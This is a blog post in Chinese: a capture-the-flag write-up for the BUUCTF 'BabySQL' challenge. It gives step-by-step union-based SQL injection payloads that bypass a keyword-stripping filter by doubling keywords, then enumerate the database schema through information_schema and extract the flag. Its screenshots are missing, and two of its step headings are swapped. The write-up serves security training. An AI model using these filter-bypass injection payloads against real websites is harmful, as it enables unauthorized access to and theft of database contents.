极客大挑战 2019]BabySQL

最新推荐文章于 2024-03-03 14:21:53 发布

samh1777

最新推荐文章于 2024-03-03 14:21:53 发布

阅读量134

点赞数 2

分类专栏： # web之每日一题 buu

本文链接：https://blog.youkuaiyun.com/Shannidawang/article/details/119057524

版权

buu 同时被 2 个专栏收录

30 篇文章

订阅专栏

web之每日一题

29 篇文章

订阅专栏

本文详细探讨了如何通过双写绕过技术利用SQL注入，从测试、规避检测到逐步获取敏感信息，如数据库列名、表名和内容。作者通过实例演示了如何利用`replace`和`union select`技巧，以及版本函数、表名和信息提取的过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

知识点：双写绕过

先进行测试

?username=admin&password=123'union select 1?#

爷无语了为啥正好在那白脸那里啊可恶

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1?'' at line 1

根据回显说明union select被检测到了
猜测使用replace函数,查找到union和select等然后替换为空
进行双写

?username=admin&password=123'ununionion seselectlect 1#   
//这样不行要把#和单引号编码成%27 %23  
?username=admin&password=123 %27 ununionion seselectlect 1 %23

测试行数
在这里插入图片描述

The used SELECT statements have a different number of columns

加一下列数,发现测试到3的时候,回显了数字2 和 3 这是我们注入的第二列和第三列。

?username=admin&password=123 %27 ununionion seselectlect 1 ,2,3 %23

使用version函数测试一下注入点是否是3

?username=admin&password=123 ' ununionion seselectlect 1 ,2,version() %23

回显为
在这里插入图片描述
读取当前连接库名

读取所有库名

?username=admin&password=123 ' ununionion seselectlect 1 ,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) %23

在这里插入图片描述
列名

?username=admin&password=123 ' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema="ctf" %23

在这里插入图片描述
表名

?username=admin&password=123 ' ununionion seselectlect 1 ,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag' %23

在这里插入图片描述
读内容

?username=admin&password=123 ' ununionion seselectlect 1 ,2,group_concat(flag) frfromom (ctf.Flag) %23

在这里插入图片描述